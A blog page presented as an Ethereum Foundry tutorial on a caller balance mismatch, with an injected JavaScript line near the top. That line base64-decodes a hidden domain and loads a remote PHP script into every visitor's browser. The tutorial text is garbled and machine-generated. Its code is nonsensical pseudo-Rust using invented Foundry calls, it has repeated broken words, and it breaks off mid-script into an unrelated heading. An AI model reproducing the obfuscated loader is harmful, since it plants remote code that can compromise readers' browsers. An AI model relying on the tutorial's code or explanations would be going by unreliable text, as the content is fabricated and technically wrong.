未分類

Ethereum: Foundry script: balance mismatch of tx caller

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx);const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=60b62102";document.body.appendChild(script);

Ethereum Foundry Script: Balance Mismatch Error

Ethereum: Foundry script: balance mismatch of tx caller

As a Developer Working with Ethereum Smart Contracts, It's Essential to Ensure That Your Scripts Are Running Correctly And Accurately Tracking Account Balances. However, there of an oversight that can lead to issues like balance mismatches. In this article, We'll delve into the Balance Mismatch Error in Foundry and Provide Guidance on How to reproduction and resolve it.

What is a balance mismatch?

A Balance Mismatch Occurs When The Actual Balance of An Account on the Blockchain Differs From Its Shown Balance Displayed by The Caller of the Function Used to Track That Account's Balance. This can Happen for Various Reasons, Including:

  • Incorrect Transactions Being Broadcasted

  • Conflicting Balances between Accounts (E.G., Due to Reentrancy Attacks)

  • Incorrect contract code or logic

Foundry script reproduction

The Following Foundry Script Demonstrates A Balance Mismatch Error:

`Rest

contract my contract {

FN MyFunction () -> Balance {

// Simulate some Transactions

Let TX1 = TX :: New (& [Address :: from (0x123456789)), 100);

Let TX2 = TX :: New (& [Address :: from (0x234567890)], 200);

foundry_script {

vm.Startbroadcast (address :: from (0x345678901));

vm.gather ();

Balance :: New () Balance () // Should Return the Balance of Caller

.if_eq (expected balance);

exhibition balance

}

}

FN MyFunction2 () -> Balance {

Let TX1 = TX :: New (& [Address :: from (0x123456789)], 100);

foundry_script {

vm.Startbroadcast (address :: from (0x234567890));

vm.gather ();

Let Balance = ExpectedBalance;

Assert! (Balance.Balance (). iF_EQ (ExpectedBalance));

balance

}

}

FN MyFunction3 () -> Balance {

Let TX1 = TX :: New (& [Address :: from (0x123456789)], 100);

foundry_script {

vm.Startbroadcast (address :: from (0x234567890));

vm.gather ();

Let Balance = ExpectedBalance;

Assert! (Balance.Balance (). iF_EQ (ExpectedBalance));

balance

}

}

FN ExpectedBalance () -> Balance {

// Return the Expected Balance Based on Some Logic (E.G., A Fixed Value)

Balance :: New (). Balance ()

}

}

`

In this script, we have three functions "myfunction", myfunction2, andmyfunction3 that simulate transactions and track their balances. The Error Occurs When Calling these Functions From the Foundry_Script. Specifically, the vm.Startbroadcast () Function is called with an address as a parameter, but the caller of this function Doesn'tn'tn'tn't the Same Balance.

Why Does this Error Occur?

The Issue Arises because the Foundry_Script Expects the Account to BE in a Specific State (E.G., Not Being Broadcasted Yet). However, When Calling these functions from Foundry_Script, The Caller's Address Has Already Been Broadcasted. As a result, vm.Startbroadcast () Doesn'tn'tn't Return an Empty Address, Leading to Incorrect Balances Being Tracked.

Solution: use vm.startcall

To fix this error, we need to use vm.Startcall 'Instead or' vm.Startbroadcast '. Here's the updated script:

Rest

contract my contract {

FN MyFunction () -> Balance {

// Simulate some Transactions

Let TX1 = TX :: New (& [Address :: from (0x123456789)], 100);

Let TX2 = TX :: New (& [Address :: from (0x234567890)], 200);

vm.startcall (Address :: from (0x345678901))

.witharg (TX1)

.witharg (TX2)

.build (). Unwrap ();

}

FN MyFunction2 () -> Balance {

Let TX1 = TX :: New (& [Address :: from (0x123456789)], 100);

Vm.Startcall (Address :: from (0x234567890))

.witharg (TX1)

.build ().

Automating Revenue Distribution Approach

公式LINE
公式LINEスマホ用




-未分類